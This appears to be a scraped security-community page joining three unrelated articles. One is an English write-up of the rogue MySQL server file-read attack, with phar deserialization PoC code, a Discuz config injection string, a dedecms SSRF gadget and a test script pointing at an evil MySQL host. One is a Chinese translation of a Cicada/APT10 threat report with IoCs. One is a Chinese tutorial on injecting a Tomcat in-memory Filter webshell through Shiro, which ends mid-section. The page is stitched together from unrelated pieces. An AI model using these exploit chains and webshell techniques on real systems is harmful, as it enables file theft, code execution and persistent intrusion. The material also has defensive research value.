# Constructing A Malicious Server
After understanding the previous question, the question is about how do we
construct a malicious mysql server.
Before we figure this out, we need to study the packet structure that mysql
normally performs linking and querying.
1.Greeting package, the server returned the banner, which contains the version
of mysql
2.Client login request
3.Initializing query. There are a lot of queries because it is phpmyadmin.
4.load file local
The statement is as follows
load data local infile "C:/Windows/win.ini" into table test FIELDS TERMINATED BY '\n';
First the client sends the query
Then the server returned the required path.
Then the client sends the content directly to the server
It seems very clear, and the path for the client to read the file is not
specified from the client but the server.
The original query process was
Client: I want to insert win.ini into the test table
Server: I want your win.ini content
Client: The contents of win.ini are as follows ...
Suppose the server is controlled by us, and a normal process is tampered with
as follows
Client: I want data in the test table
Server: I want your win.ini content
Client: The content of win.ini is as follows ???
Will the third sentence above be executed?
In [mysql documention](https://dev.mysql.com/doc/refman/8.0/en/load-data-local.html):
**A patched server could in fact reply with a file-transfer request to any
statement**. This answers our question.
It is not difficult to find out the vulnerability is due to the configuration
problem of the MySQL client. After some research, I found that during the
MySQL login verification process, the client configuration will be sent.
After the greeting package, the client will connect and try to log in. At the
same time, there is a configuration in the data package about whether to allow
the use of load data local, from which we can see whether the client has this
problem (the returned configuration may not be always accurate, and this issue
will be mentioned later).
# PoC
After trying to understand the principle, it is not so difficult to build a
malicious server. The process is very simple.
1.Reply to the mysql client with a greeting package
2.Wait for the client to send a query packet
3.Reply to a file transfer package
The problem is all about constructing the package format. You can follow the
original text and various documents to complete the above several queries.
It is worth noting that the poc given by the original author did not adapt to
all situations. Some mysql clients will send ping packets after successful
login, and if there is no reply, they will disconnect. There are also some
mysql clients that have a strong check on the greeting package. It is
recommended to directly capture the package and construct it according to the
real package content.
* <https://dev.mysql.com/doc/internals/en/connection-phase-packets.html#packet-Protocol::Handshake>
* <https://dev.mysql.com/doc/internals/en/com-query-response.html>
poc given by the author.
<https://github.com/Gifts/Rogue-MySql-Server>
# Demo
I used a Tencent Cloud as the server, and phpmyadmin the client
We successfully read the file.
# Sphere of influence
## Underlying Application
To know what impact the vulnerability woud bring, we must first know what kind
of clients are threatened by it.
* mysql client (pwned)
* php mysqli (pwned，fixed by 7.3.4)
* php pdo (Disabled by default)
* python MySQLdb (pwned)
* python mysqlclient (pwned)
* java JDBC Driver (pwned，Disabled by default in some conditions)
* navicat （pwned)
## Probe
My first thought was the mysql probe, but unfortunately, after testing most of
the probes on the market, I found that most of the probes disconnected without
any query just after accepting the greeting package.
* Yahei PHP Probe failed
* iprober2 probe failed
* One-click installation of PHP probe for LNMP failed
* UPUPW PHP probe failed
* ...
## Cloud Service Provider Cloud Database Data Migration Service
All the above loopholes will be reported to the official in 2018 and the
loopholes principle will be observed
Domestic
* Tencent Cloud DTS failed, Load data local disabled
* Alibaba Cloud RDS data migration failed, Load data local disabled
* Huawei Cloud RDS DRS Service succeeded
* JD Cloud RDS does not support remote migration function, distributed relational database is not open
* UCloud RDS does not support remote migration function, and distributed relational databases cannot synchronize external data
* QiNiu Cloud RDS does not support remote migration function
* New Cloud RDS does not support remote migration function
* NetEase Cloud RDS external instance migration succeeded
* Kingsoft Cloud RDS DTS data migration succeeded
* Qingyun Cloud RDS data import failed, load data local disabled
* Baidu Cloud RDS DTS secceeded
International Cloud Service Provider
* Google could SQL database migration failed, Load data infile disabled
* AWS RDS DMS Service succeeded
## Excel Online Sql Query
As mentioned in a previous article, there is generally a function in Excel to
synchronize data from a database to a table so that the file can be read in
the above manner.
Inspired by this idea, we thought that we could find excel function of online
so that we could read arbitrary files.
* WPS failed（Did not find it）
* Microsoft excel failed (infile statement disabled)
* Google Sheets (not natively, but supports plugins, the following mainly describes plugins)
* Supermetrics pwned
\- Advanced CFO Solutions MySQL Query failed \- SeekWell failed \- Skyvia
Query Gallery failed \- database Borwser failed
# Expand? 2RCE!
Setting aside some of the very special situations we mentioned earlier, we
also need to discuss some of the exploit chain of this vulnerability in
general situations.
Since the discussion is about arbitrary file reading, the most direct thought
must be the vulnerability caused by the leakage of the configuration file.
## Leakage of arbitrary files reading with configuration file
There two files in the configuration of Discuz x3.4.
config/config_ucenter.php
config/config_global.php
In the back end of dz, there is a ucenter setting function. This function
provides ucenter's database server configuration. By configuring the database
to link to a malicious server, you can read any file to obtain configuration
information.
Configure the access address of ucenter.
Original address： http://localhost:8086/upload/uc_server
Changed to： http://localhost:8086/upload/uc_server\');phpinfo();//
After we get the authkey, we can calculate the admin cookie by the admin's uid
and salt. Then use the admin cookie and `UC_KEY` to access it.
## Deserialization of arbitrary files reading to
File Operation Induced Unserialization via the “phar: //” Stream Wrapper topic
shared by Sam Thomas at the BlackHat 2018[https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf ](https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf).
It mentioned [Stream
API](https://secure.php.net/manual/zh/internals2.ze1.streams.php). The
corresponding pseudo-protocol can be registered by registering the extension,
and the phar extension registers the `phar: //` stream wrapper.
In the past research of Seaii from 404
Lab(<https://paper.seebug.org/680/>)shows that all file functions support
stream wrapper.
We can find that the reason steam wrapper can be supported is because we
called
stream = php_stream_open_wrapper_ex(filename, "rb" ....);
We return to the load file local statement of mysql. In mysqli, mysql reads
files through php functions
https://github.com/php/php-src/blob/master/ext/mysqlnd/mysqlnd_loaddata.c#L43-L52
if (PG(open_basedir)) {
if (php_check_open_basedir_ex(filename, 0) == -1) {
strcpy(info->error_msg, "open_basedir restriction in effect. Unable to open file");
info->error_no = CR_UNKNOWN_ERROR;
DBG_RETURN(1);
}
}
info->filename = filename;
info->fd = php_stream_open_wrapper_ex((char *)filename, "r", 0, NULL, context);
Which also called`php_stream_open_wrapper_ex`function. That is, we can also
trigger deserialization by reading a phar file.
### Recurrence
First we need to generate a phar
pphar.php
<?php
class A {
public $s = '';
public function __wakeup () {
echo "pwned!!";
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //Suffix name must be phar
$phar->startBuffering();
$phar->setStub("GIF89a "."<?php __HALT_COMPILER(); ?>"); //set stub
$o = new A();
$phar->setMetadata($o); //store meta-data in manifest
$phar->addFromString("test.txt", "test"); //Add Add files to compress
// Automatic signature calculation
$phar->stopBuffering();
?>
Use this file to generate a phar.phar
Then we simulate a query
test.php
<?php
class A {
public $s = '';
public function __wakeup () {
echo "pwned!!";
}
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, '{evil_mysql_ip}', 'root', '123456', 'test', 3667);
$p = mysqli_query($m, 'select 1;');
// file_get_contents('phar://./phar.phar');
In the figure, we only did the select 1 query, but our fake evil mysql server
drove the mysql client to do a `load file local` query and read the local
phar://./phar.phar
and triggered deserialization
## Deserialize to RCE
When a deserialization vulnerability appears, we need to find the appropriate
pop chain from the source code. Based on the use of the pop chain, we can
further expand the harm of the deserialization vulnerability.
Common magic methods in php serialization are the following \- Called when the
object is created: **construct \- Called when the object is destroyed:**
destruct \- Called when the object is used as a string: **toString \- Call
this method before serializing the object (the return needs to be an array):**
sleep \- Call this method before deserializing the recovery object: **wakeup
\- This method is automatically called when a method that does not exist in
the calling object:** call
With the corresponding pop chain, we can convert deserialization into RCE.
### dedecms Background Deserialization Vulnerability to SSRF
dedecms background, module management, install UCenter module. Start
configuration.
First, you need to find a certain UCenter server. You can find a dz station as
the server.
Then any file read will be triggered. Of course, if the read file is phar,
deserialization will be triggered.
We need to generate the corresponding phar first
<?php
class Control
{
var $tpl;
// $a = new SoapClient(null,array('uri'=>'http://example.com:5555', 'location'=>'http://example.com:5555/aaa'));
public $dsql;
function __construct(){
$this->dsql = new SoapClient(null,array('uri'=>'http://xxxx:5555', 'location'=>'http://xxxx:5555/aaa'));
}
function __destruct() {
unset($this->tpl);
$this->dsql->Close(TRUE);
}
}
@unlink("dedecms.phar");
$phar = new Phar("dedecms.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //Set stub, add gif file header
$o = new Control();
$phar->setMetadata($o); //Save custom meta-data to manifest
$phar->addFromString("test.txt", "test"); // Add files to be compressed
// Automatic signature calculation
$phar->stopBuffering();
?>
Then we can upload the avatar through the front end or using api from the back
end. And then rogue mysql server to read this file
phar://./dedecms.phar/test.txt
Monitor 5555 can receive
ssrf can further attack surfaces such as redis.
## Part of CMS Test Results
name | impacted version | if mysql arbitrary file reading exists | if MySQL
server configuration controllable | controllable deserialization | upload phar
| patches
---|---|---|---|---|---|---
phpmyadmin | < 4.8.5 | Yes | Yes | Yes | Yes |
[Patch](https://github.com/phpmyadmin/phpmyadmin/commit/828f740158e7bf14aa4a7473c5968d06364e03a2)
Dz | Not patched | Yes | Yes | No | None | None
drupal | None | No(use PDO) | No(install) | Yes | Yes | None
dedecms | None | Yes | Yes(ucenter) | Yes(ssrf) | Yes | None
ecshop | None | Yes | Yes | No | Yes | None
Zen Tao | None | No(PDO) | No | None | None | None
phpcms | None | Yes | Yes | Yes(ssrf) | Yes | None
Empire cms | None | Yes | Yes | No | None | None
phpwind | None | No(PDO) | Yes | None | None | None
mediawiki | None | Yes | No（did not find ways to change mysql configuration in
the back end） | Yes | Yes | None
Z-Blog | None | Yes | No（did not find ways to change mysql configuration in
the back end） | Yes | Yes | None
# Repair method
For most mysql clients, load file local is a useless statement mostly used to
transfer or upload data. For the client, you can directly turn off this
function without affecting normal use.
See the specific closing method
* <https://dev.mysql.com/doc/refman/8.0/en/load-data-local.html>
For different servers, this configuration has different methods. For JDBC,
this configuration is called `allowLoadLocalInfile`
* <https://dev.mysql.com/doc/connector-j/5.1/en/connector-j-reference-configuration-properties.html>
In php's mysqli and mysql link modes, the underlying code directly determines
this configuration.
This configuration is `PHP_INI_SYSTEM`. In the php documentation, this
configuration means`Entry can be set in php.ini or httpd.conf`.
So it can only be fixed by modifying `mysqli.allow_local_infile = Off` in
php.ini.
In the php7.3.4 update, this configuration in mysqli has also been modified to
turn off by default.
<https://github.com/php/php-src/commit/2eaabf06fc5a62104ecb597830b2852d71b0a111#diff-904fc143c31bb7dba64d1f37ce14a0f5>
Unfortunately, in the old version mysql5.6, which is no longer updated, both
mysql and mysqli are enabled by default.
In recent versions, you can configure this option before linking via
`mysqli_option` .
<http://php.net/manual/zh/mysqli.options.php>
What is more interesting is that in this way, although `allow_local_infile` is
disabled, if you use wireshark to capture packets, you find
that`allow_local_infile` is still enabled (but invalid).
In the old version of phpmyadmin, `mysqli_real_connect` was executed first,
then`mysql_option` was set, so that `allow_local_infile` was actually
disabled, but`allow_local_infile` was not disabled when the link request was
initiated.
Actually, when `mysqli_real_connect` is executed, it will
initialize`allow_local_infile`. At the bottom of the PHP code,
`mysqli_real_connect` actually executes`mysqli_common_connect`. In the code of
`mysqli_common_connect`,`allow_local_infile` is set once.
<https://github.com/php/php-src/blob/ca8e2abb8e21b65a762815504d1fb3f20b7b45bc/ext/mysqli/mysqli_nonapi.c#L251>
If `mysql_option` is set before`mysqli_real_connect`, its `allow_local_infile`
configuration will be overwritten and its modification will be invalid.
phpmyadmin also fixed the vulnerability on January 22 by exchanging the
relative positions of the two functions.
<https://github.com/phpmyadmin/phpmyadmin/commit/c5e01f84ad48c5c626001cb92d7a95500920a900#diff-cd5e76ab4a78468a1016435eed49f79f>
# Summary
This is an attack mode against the mysql feature. At present, it cannot be
repaired at the mysql level. The impression can only be avoided if the
configuration is closed on the client. Although it is not very extensive as an
attack surface, it may be particularly effective in converting a normal
function into an arbitrary file for special situations, which is very
effective in expanding the attack surface.
The detailed attack situation is not assumed here, since the it could lead to
huge impact.
# References
* <http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/>
* <https://lightless.me/archives/read-mysql-client-file.html>
* <https://dev.mysql.com/doc/refman/8.0/en/load-data.html>
* <https://dev.mysql.com/doc/refman/8.0/en/load-data.html>
* * * | 社区文章 |
**原文链接：<https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage>**
**译者：知道创宇404实验室翻译组**
### 前言
有证据表明，Cicada威胁组织是针对17个地区和多个行业的公司发动攻击的幕后黑手。大规模的攻击行动针对多家日本公司，其中包括位于全球17个地区的子公司。此次活动的目标横跨多个行业的公司，包括汽车、制药和工程部门的公司，以及管理服务提供商（MSP）。
Cicada又被称作APT10、Stone Panda、Cloud Hopper），它自2009年以来一直参与间谍类型的行动。
众所周知，Cicada历来以与日本有关联的组织为目标，过去也曾针对MSP。该组织在这次攻击中使用的工具包括一个以前从未使用过的自定义恶意软件——Backdoor.Hartip。在这次攻击行动中被破坏的机器包括域控制器和文件服务器，除此之外，有证据表明文件被从一些受损的机器中漏出。
攻击者在这次活动中广泛使用DLL侧加载，还利用了2020年8月修复的ZeroLogon漏洞。
### 受害者
这场行动至少从2019年10月中旬开始，一直持续到2020年10月初，该组织在一些受害者的网络上活跃了近一年。这次攻击的范围非常广泛，受害者遍布全球许多地区。
图1.本次活动中目标公司的位置，大多数目标公司与日本或日本组织有联系
受影响的公司主要是知名的大型企业，其中许多都与日本或日本公司有关联。在之前的攻击行动中，Cicada一直非常关注日本组织。从图1的地图可以清楚地看出，南亚和东亚是这次攻击的主要集中地区。
我们还在所有受害者网络上看到了类似的加载程序。这些是将这些受害者联系在一起的主要因素，他们来自各个领域，包括：
* 汽车行业，也有一些制造商和组织参与了向汽车行业供应零件的活动，这表明攻击者对该行业非常感兴趣
* 服装
* 企业集团
* 电子产品
* 工程
* 一般贸易公司
* 政府
* 工业产品
* 管理服务提供商
* 制造业
* 制药业
* 专业服务
攻击者在受害者网络上花费的时间各不相同，有时花费了大量时间，有时只花了几天时间。在某些情况下，攻击者也会在网络上花费一些时间，但随后活动会停止，几个月后又会重新开始。
### 攻击过程
我们观察到攻击者使用了各种各样的工具和技术，包括：
* [网络侦察](https://attack.mitre.org/tactics/TA0043/ "网络侦察")——从网络上的计算机收集信息。
* [凭证盗窃](https://attack.mitre.org/tactics/TA0006/ "凭证盗窃")——窃取用户名和密码，有可能为他们提供对受害者网络的进一步访问。
* [RAR归档](https://attack.mitre.org/techniques/T1560/ "RAR归档")——渗透之前，文件已传输到临时服务器。可以对它们进行加密或压缩，使其更易于提取。
* [Certutil](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil "Certutil") ——一种命令行实用程序，可被用于各种恶意目的，例如解码信息、下载文件以及安装浏览器根证书。
* [Adfind](https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx "Adfind") ——可用于执行Active Directory查询的命令行工具。
* [Csvde](https://www.computerperformance.co.uk/logon/csvde-export/ "Csvde") ——可用于提取Active Directory文件和数据。
* [Ntdsutil](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc753343\(v=ws.11\) "Ntdsutil") ——可用作凭据转储工具。
* [WMIExec](https://attack.mitre.org/techniques/T1047/ "WMIExec") ——可用于横向移动并远程执行命令。
* [PowerShell](https://attack.mitre.org/techniques/T1059/001/ "PowerShell") ——Windows操作系统中包含的功能强大的交互式命令行界面和脚本环境。它可以用来查找信息和执行代码，经常被攻击者滥用。
攻击者还使用合法的云文件托管服务进行渗透。
攻击者还在攻击过程中的多个阶段使用[DLL侧加载](https://attack.mitre.org/techniques/T1574/002/
"DLL侧加载")，包括使用它来加载Backdoor.Hartip。当攻击者将恶意程序替换为合法库，从而使他们可以将恶意软件加载到合法的进程中时，就会发生DLL侧加载。攻击者使用DLL侧面加载来使活动看起来合法，从而试图隐藏其活动，这也有助于避免安全软件对其进行检测。这是APT团体普遍采用的一种策略。像Symantec的云分析技术一样，监视网络中的异常活动是检测这种恶意活动的关键。
攻击者正在部署能够利用ZeroLogon漏洞（[CVE-2020-1472](https://msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1472
"CVE-2020-1472")）的工具。这个特权提升漏洞于2020年8月11日首次披露并修复，它可以使攻击者欺骗域控制器帐户，然后利用该帐户窃取域凭据，接管域并完全破坏所有Active
Directory身份服务。自从披露以来，它已被多个攻击者利用。
### Cicada
我们在一个受害组织中看到的活动与之前看到的Cicada活动具有多种特征相似性，Cylance在2019年的[博客](https://blogs.blackberry.com/en/2019/06/threat-spotlight-menupass-quasarrat-backdoor "博客")中对此进行了描述。
在另一个受影响的组织中，部署Backdoor.Hartip的加载程序在所使用的混淆和shellcode中重叠。
两个组织中的活动具有相似性：
* 侧面加载DLL
* C ++用法
* API调用顺序
* GetModuleFileName-> lstrcat-> CreateFile-> ReadFile
* 从另一个文件加载下一阶段的有效负载
* 模糊处理：大量OutputDebugString，_time64，srand，rand API调用
图2.该活动中Cicada与两个受害组织之间的联系
这些相似之处让我们确信，这是同一个集团在两个组织中开展的活动，这个集团就是Cicada。从历史上看，Cicada使用自定义DLL加载器解密并执行最后的有效负载，正如在这些攻击中观察到的那样。
以MSPs为目标是Cicada活动的一个标志。成功地利用一个MSP可以使攻击者获得对多个公司的高级访问，而不必破坏单个公司的网络。
Cicada在过去使用了一些公开的工具，比如WMIExec。攻击者采取各种措施来减少他们的活动被发现的机会——包括使用WMIC在受害者计算机上搜索安全软件，并使用PowerShell清除事件日志以隐藏他们的活动。
所有这些事实都表明，Cicada是这些广泛而复杂的攻击的幕后操纵者。
在过去，Cicada攻击的动机通常是收集情报和窃取信息，这次的攻击行动似乎也是如此。攻击者在这些攻击中归档了一些感兴趣的文件夹，包括在一个组织中与人力资源（HR）、审计和费用数据以及会议备忘录相关的文件夹。
### 结论
与日本有关的组织需要保持警惕，此外，汽车行业似乎是这次攻击行动的主要目标。Cicada使用了之前未被发现的自定义后门来利用最近披露的ZeroLogon漏洞，这表明它在继续改进工具和战术。各组织需要一个全面的安全解决方案，以便在攻击者部署恶意软件或从其网络中窃取信息之前，发现此类可疑活动。
### IoCs
8b6ad87e408e38fc1db868da6e643f616dac59fbae08382c4a7dd4ea119ea057
d5e38ac1187c607e701f506c4015bde94be6c485d566d004d810d7565c188743
26460aa2df29f766cb5712ebca44cb3365ebfdb5cae0b2ec36ef1e3568911d6a
cdec58a57381bb8c1e374efb0bf1897d89d1e096d2b704820893859d9f08d086
ea9d994de91389280b334f2af991baa49ca613a6bf898d7bb25f88cc66488f5c
3f5b623222c755d59052fab9e096c9d2b9a47d06b3a5de62fb9a66750af4efc4
27873e3d4ec3a0e7d66bee8bda4d65cc8fcefbdca2c8d5c049372a63ff0bc2ed
cf3ae16b01f7eb129e0e7387ac7feb61ecfce5db0d7494b3962c02c681f504d4
578ea26729b43fd976365a6700c80950e0b71a39e67bfff715423d60ae6bfab9
03ab1588acaabdb509e9db7cfe1e60522bc8baa13bbd35160b4bde7d1b6402ef
4a08eb0eb1f4ebb54bceabbebcb7da48238f0278ae5421326ee65ec7951e4239
178.73.210.238（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=178.73.210.238
"ZoomEye搜索结果")）
188.119.112.225（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=188.119.112.225
"ZoomEye搜索结果")）
213.252.246.245（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=213.252.246.245
"ZoomEye搜索结果")）
45.14.224.93（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=45.14.224.93
"ZoomEye搜索结果")）
45.67.230.134（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=45.67.230.134
"ZoomEye搜索结果")）
81.7.7.159（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=81.7.7.159
"ZoomEye搜索结果")）
95.179.143.32（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=95.179.143.32
"ZoomEye搜索结果")）
* * * | 社区文章 |
**作者：宽字节安全**
**原文链接：<https://mp.weixin.qq.com/s/fFYTRrSMjHnPBPIaVn9qMg>**
**本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！**
**投稿邮箱：[email protected]**
## 0x01简介
shiro结合tomcat回显，使用公开的方法，回显大多都会报错。因为生成的payload过大，而tomcat在默认情况下，接收的最大http头部大小为8192。如果超过这个大小，则tomcat会返回400错误。而某些版本tomcat可以通过payload修改maxHttpHeaderSize，而某些又不可以。所以我们要想办法解决这个很麻烦，并顺便实现tomcat的内存马，用来持久化shell。
我的测试环境如下:
* tomcat 7.0.104
* idea
* shiro
环境安装配置就不在这里详细描述，该分享主要围绕着以下主题分享:
1. Filter介绍
2. 类加载器的相关知识点
3. tomcat的内存马该如何查杀
## 0x02 Filter
### 1\. Filter的基本工作原理
1. Filter 程序是一个实现了特殊接口的 Java 类，与 Servlet 类似，也是由 Servlet 容器进行调用和执行的。
2. 当在 web.xml 注册了一个 Filter 来对某个 Servlet 程序进行拦截处理时，它可以决定是否将请求继续传递给 Servlet 程序，以及对请求和响应消息是否进行修改。
3. 当 Servlet 容器开始调用某个 Servlet 程序时，如果发现已经注册了一个 Filter 程序来对该 Servlet 进行拦截，那么容器不再直接调用 Servlet 的 service 方法，而是调用 Filter 的 doFilter 方法，再由 doFilter 方法决定是否去激活 service 方法。
4. 但在 Filter.doFilter 方法中不能直接调用 Servlet 的 service 方法，而是调用 FilterChain.doFilter 方法来激活目标 Servlet 的 service 方法，FilterChain 对象时通过 Filter.doFilter 方法的参数传递进来的。
5. 只要在 Filter.doFilter 方法中调用 FilterChain.doFilter 方法的语句前后增加某些程序代码，这样就可以在 Servlet 进行响应前后实现某些特殊功能。
6. 如果在 Filter.doFilter 方法中没有调用 FilterChain.doFilter 方法，则目标 Servlet 的 service 方法不会被执行，这样通过 Filter 就可以阻止某些非法的访问请求。
### 2\. Filter 链
1. 在一个 Web 应用程序中可以注册多个 Filter 程序，每个 Filter 程序都可以对一个或一组 Servlet 程序进行拦截。如果有多个 Filter 程序都可以对某个 Servlet 程序的访问过程进行拦截，当针对该 Servlet 的访问请求到达时，Web 容器将把这多个 Filter 程序组合成一个 Filter 链（也叫过滤器链）。
2. Filter 链中的各个 Filter 的拦截顺序与它们在 web.xml 文件中的映射顺序一致，上一个 Filter.doFilter 方法中调用 FilterChain.doFilter 方法将激活下一个 Filter的doFilter 方法，最后一个 Filter.doFilter 方法中调用的 FilterChain.doFilter 方法将激活目标 Servlet的service 方法。
3. 只要 Filter 链中任意一个 Filter 没有调用 FilterChain.doFilter 方法，则目标 Servlet 的 service 方法都不会被执行。
### 3\. Tomcat中请求Filter的流程
用户在请求tomcat的资源的时候，会调用ApplicationFilterFactory的createFilterChain方法，根据web.xml的Filter配置，去生成Filter链。主要代码如下
filterChain.setServlet(servlet);
filterChain.setSupport(((StandardWrapper)wrapper).getInstanceSupport());
StandardContext context = (StandardContext)wrapper.getParent();
FilterMap[] filterMaps = context.findFilterMaps();
if (filterMaps != null && filterMaps.length != 0) {
String servletName = wrapper.getName();
FilterMap[] arr$ = filterMaps;
int len$ = filterMaps.length;
int i$;
FilterMap filterMap;
ApplicationFilterConfig filterConfig;
boolean isCometFilter;
for(i$ = 0; i$ < len$; ++i$) {
filterMap = arr$[i$];
if (matchDispatcher(filterMap, dispatcher) && matchFiltersURL(filterMap, requestPath)) {
filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
if (filterConfig != null) {
isCometFilter = false;
if (comet) {
try {
isCometFilter = filterConfig.getFilter() instanceof CometFilter;
} catch (Exception var21) {
Throwable t = ExceptionUtils.unwrapInvocationTargetException(var21);
ExceptionUtils.handleThrowable(t);
}
if (isCometFilter) {
filterChain.addFilter(filterConfig);
}
} else {
filterChain.addFilter(filterConfig);
}
}
}
}
首先获取当前context，并从context中获取FilterMap。FIlterMap的数据结构如下
我们可以看到，FilterMap存放了Filter的名称和需要拦截的url的正则表达式。
继续往下分析代码，遍历FilterMap中每一项，调用matchFiltersURL这个函数，去确定请求的url和Filter中需要拦截的正则表达式是否匹配。
如果匹配的话，则通过context.findFilterConfig方法去查找filter对应的名称。filterConfig的数据结构如下
随后将filterConfig添加到Filter.chain中。
下面我们看一下ApplicationFilterChain.internalDoFilter方法，简化后的代码如下
ApplicationFilterConfig filterConfig = this.filters[this.pos++];
Filter filter = null;
filter = filterConfig.getFilter();
this.support.fireInstanceEvent("beforeFilter", filter, request, response);
filter.doFilter(request, response, this);
this.support.fireInstanceEvent("afterFilter", filter, request, response);
在这里我们可以很清楚的看到，从刚才的FilterChain中，遍历每一项FilterConfig，然后获取FIlterConfig对应的filter，最后调用我们熟悉的filter.doFilter方法。
可以用如下流程图来方便我们理解这个过程
可以看出，如果需要动态注册一个Filter，结合上面的分析，我们可以发现，只要修改context相关字段，即可完成动态注册一个Filter。好消息是，context已经帮我们实现了相关方法，我们就没有必要去通过反射等手段去修改。
### 4\. tomcat实现
#### 4.1 获取context
可以通过MBean的方式去获取当前context，我们查看一下tomcat的MBean
idea中查看一下
相关代码如下
Registry.getRegistry((Object) null, (Object) null).getMBeanServer().mbsInterceptor.repository.domainTb.get("Catalina").get("context=/samples_web_war,host=localhost,name=NonLoginAuthenticator,type=Valve").object.resource.context
当然，还有很多种办法，这里只是一个例子
#### 4.2 添加filterdef到context
首先我们实例化一个FilterDef，FilterDef的作用主要为描述filter名称与Filter实例的关系。注意，在后面调用context.FilterMap的时候会校验FilterDef，所以我们需要先设置FilterDef
Object filterDef = Class.forName("FilterDef").newInstance();
// 设置过滤器名称
Method filterDefsetFilterName = Class.forName("FilterDef").getMethod("setFilterName", String.class);
filterDefsetFilterName.invoke(filterDef, "test");
// 实例化Filter，也就是第一阶段我们加载的那个filter，通过Class.forname查找
Method filterDefsetFilter = Class.forName("FilterDef").getMethod("setFilter", Filter.class);
//通过class.forname查找我们待加载的Filter，后面调用newInstance实例化
Class evilFilterClass = Class.forName("testFilter1");
filterDefsetFilter.invoke(filterDef, evilFilterClass.newInstance());
#### 4.3 添加filtermap到context
FilterMap的作用建立filter的url拦截与FilterDef的关系。在这里我们需要设置加载的filter都拦截什么url。代码如下
Object filterMap = Class.forName("FilterMap").newInstance();
Method filterMapaddURLPattern = Class.forName("FilterMap").getMethod("addURLPattern", String.class);
filterMapaddURLPattern.invoke(filterMap, "/*");
// 设置filter的名字为test
Method filterMapsetFilterName = Class.forName("FilterMap").getMethod("setFilterName", String.class);
filterMapsetFilterName.invoke(filterMap, "test");
#### 4.4 添加ApplicationFilterConfig至context
这里很简单，最后我们需要添加ApplicationFIlterConfig就可以了，代码如下
Field contextfilterConfigs = context.getClass().getDeclaredField("filterConfigs");
HashMap filterConfigs = (HashMap) contextfilterConfigs.get(context);
Constructor<?>[] filterConfigCon =
Class.forName("ApplicationFilterConfig").getDeclaredConstructors();
filterConfigs.put("test", filterConfigCon[0].newInstance(context, filterDef));
## 0x03 类加载器的相关知识点
在上一步种，我们是无法成功的，因为payload过大，超过tomcat的限制。会导致tomcat报400 bad
request错误。我们仔细分析可知，因为payload种需要加载Filter的class
bytes。这一部分最小最小还需要3000多。所以我们需要将Filter的class
byte，想办法加载至系统中。可以缩小我们动态加载Filter的payload大小。
### 1.1 class.forname
在这里我们先学习以下`class.forname`这个方法，查看openjdk的相关源码：
<https://hg.openjdk.java.net/jdk/jdk/file/2623069edcc7/src/java.base/share/classes/java/lang/Class.java#l374>
`class.forname`会获取调用方的classloader，然后调用`forName0`，从调用方的classloader中查找类。当然，这是一个native方法，精简后源码如下
<https://hg.openjdk.java.net/jdk/jdk/file/2623069edcc7/src/java.base/share/native/libjava/Class.c#l104>
Java_java_lang_Class_forName0(JNIEnv *env, jclass this, jstring classname,
jboolean initialize, jobject loader, jclass caller)
{
char *clname;
jclass cls = 0;
clname = classname;
cls = JVM_FindClassFromCaller(env, clname, initialize, loader, caller);
return cls;
}
`JVM_FindClassFromClassler`的代码在如下位置
<https://hg.openjdk.java.net/jdk/jdk/file/2623069edcc7/src/hotspot/share/prims/jvm.cpp>
JVM_ENTRY(jclass, JVM_FindClassFromCaller(JNIEnv* env, const char* name,
jboolean init, jobject loader,
jclass caller))
JVMWrapper("JVM_FindClassFromCaller throws ClassNotFoundException");
TempNewSymbol h_name =
SystemDictionary::class_name_symbol(name, vmSymbols::java_lang_ClassNotFoundException(),
CHECK_NULL);
oop loader_oop = JNIHandles::resolve(loader);
oop from_class = JNIHandles::resolve(caller);
oop protection_domain = NULL;
if (from_class != NULL && loader_oop != NULL) {
protection_domain = java_lang_Class::as_Klass(from_class)->protection_domain();
}
Handle h_loader(THREAD, loader_oop);
Handle h_prot(THREAD, protection_domain);
jclass result = find_class_from_class_loader(env, h_name, init, h_loader,
h_prot, false, THREAD);
return result;
JVM_END
主要是获取protectDomain等相关信息。然后调用`find_class_from_class_loader`，代码如下
jclass find_class_from_class_loader(JNIEnv* env, Symbol* name, jboolean init,
Handle loader, Handle protection_domain,
jboolean throwError, TRAPS) {
Klass* klass = SystemDictionary::resolve_or_fail(name, loader, protection_domain, throwError != 0, CHECK_NULL);
// Check if we should initialize the class
if (init && klass->is_instance_klass()) {
klass->initialize(CHECK_NULL);
}
return (jclass) JNIHandles::make_local(env, klass->java_mirror());
}
在`SystemDictionary::resolve_or_fail`会判断查找的类是不是属于数组，对于咱们来讲，肯定不是数组，所以，我们主要来分析`systemDictionary::resolve_instance_class_or_null`
代码如下
class_loader = Handle(THREAD, java_lang_ClassLoader::non_reflection_class_loader(class_loader()));
ClassLoaderData* loader_data = register_loader(class_loader);
Dictionary* dictionary = loader_data->dictionary();
unsigned int d_hash = dictionary->compute_hash(name);
{
InstanceKlass* probe = dictionary->find(d_hash, name, protection_domain);
if (probe != NULL) return probe;
}
最终通过`dictionary->find`方法去查找类，看代码，其实也就是查找classloader的classes字段。
idea中查看这个字段。可以看出这里存储了很多类的Class，我们只需要将defineClass的结果，添加到classloader的classes字段中即可。
### 1.2 实现
